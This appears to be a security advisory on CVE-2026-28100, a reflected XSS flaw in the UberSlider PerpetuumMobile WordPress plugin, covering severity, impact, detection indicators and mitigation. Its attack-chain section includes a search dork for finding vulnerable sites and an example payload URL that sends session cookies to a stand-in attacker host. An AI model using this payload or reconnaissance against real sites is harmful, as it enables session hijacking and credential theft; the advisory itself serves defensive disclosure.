CVE-2026-28100: 
WordPress vulnerability analysis and mitigation

CVE-2026-28100 is a Reflected Cross-Site Scripting (XSS) vulnerability in the LambertGroup UberSlider PerpetuumMobile WordPress plugin, affecting all versions up to and including 2.3. The vulnerability was reported by researcher João Pedro S Alcântara (Kinorth) on August 30, 2025, and publicly disclosed by Patchstack on February 27, 2026, with NVD publication on March 5, 2026. It carries a CVSS v3.1 base score of 7.1 (High), assigned by CISA-ADP (Patchstack).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation), specifically a Reflected XSS flaw in the uberSlider_perpetuummobile WordPress plugin. Insufficient sanitization of user-supplied input allows an attacker to craft a malicious URL containing JavaScript payloads that are reflected back to the victim's browser without proper encoding or escaping. Exploitation requires no authentication (unauthenticated attacker) but does require user interaction — a privileged or regular user must be tricked into clicking a crafted link (Patchstack).

Successful exploitation allows an attacker to inject and execute arbitrary JavaScript in the context of a victim's browser session on the affected WordPress site. This can lead to session hijacking, credential theft, redirection to malicious sites, defacement, or delivery of malware to site visitors. The changed scope (S:C) in the CVSS vector indicates the impact extends beyond the vulnerable component itself, potentially affecting other browser-accessible resources (Patchstack).

No public proof-of-concept exploit code has been identified at this time, and there is no evidence of active in-the-wild exploitation. The EPSS score is approximately 0.029% (0.000290), indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Patchstack notes that vulnerabilities of this class are commonly used in mass-exploit campaigns targeting WordPress sites at scale (Patchstack).

1. Reconnaissance: Identify WordPress sites running the UberSlider PerpetuumMobile plugin version ≤ 2.3 using tools like WPScan, Shodan, or Google dorks (e.g., inurl:wp-content/plugins/uberSlider_perpetuummobile).
2. Identify vulnerable parameter: Locate the plugin's front-end page or shortcode output that reflects unsanitized user input in the HTTP response.
3. Craft malicious URL: Construct a URL targeting the vulnerable parameter with a reflected XSS payload, e.g., https://victim-site.com/?plugin_param=<script>document.location='https://attacker.com/steal?c='+document.cookie</script>.
4. Deliver payload: Send the crafted URL to a target user (e.g., a WordPress administrator) via phishing email, social engineering, or embedded link.
5. Achieve objective: When the victim clicks the link and their browser renders the reflected script, the attacker can steal session cookies, capture credentials, or perform actions on behalf of the victim within the WordPress site (Patchstack).

• Network: HTTP requests to WordPress pages containing the UberSlider PerpetuumMobile plugin with URL parameters including encoded JavaScript (<script>, %3Cscript%3E, javascript:, onerror=, onload=) or Base64-encoded payloads.
• Logs: Web server access logs showing GET/POST requests with suspicious query strings containing HTML/JavaScript injection patterns directed at pages using the uberSlider_perpetuummobile plugin.
• Browser/Client-Side: Unexpected redirects from WordPress pages to external domains; unusual JavaScript execution originating from plugin-rendered pages.
• File System: No direct file system artifacts expected for reflected XSS; however, if chained with further exploitation, watch for new or modified PHP files in wp-content/plugins/uberSlider_perpetuummobile/ or other plugin directories.

As of the disclosure date, no official patch from the plugin developer (LambertGroup) is available for UberSlider PerpetuumMobile. The recommended immediate action is to deactivate and remove the plugin from affected WordPress installations. Patchstack has issued a virtual patch (mitigation rule) for Patchstack-protected sites to block exploitation attempts until an official fix is released. Site owners unable to remove the plugin should consult their hosting provider or web developer, and consider deploying a Web Application Firewall (WAF) rule to filter reflected XSS payloads (Patchstack).

The vulnerability was assigned and disclosed by Patchstack, with the CVE record received from Patchstack and subsequently enriched by CISA-ADP. No notable independent researcher commentary, vendor statements beyond Patchstack's advisory, or significant media coverage has been identified for this vulnerability.